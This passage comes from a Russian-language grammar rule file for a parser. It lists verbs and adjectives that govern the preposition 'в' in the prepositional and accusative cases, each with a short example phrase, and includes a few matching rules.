rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
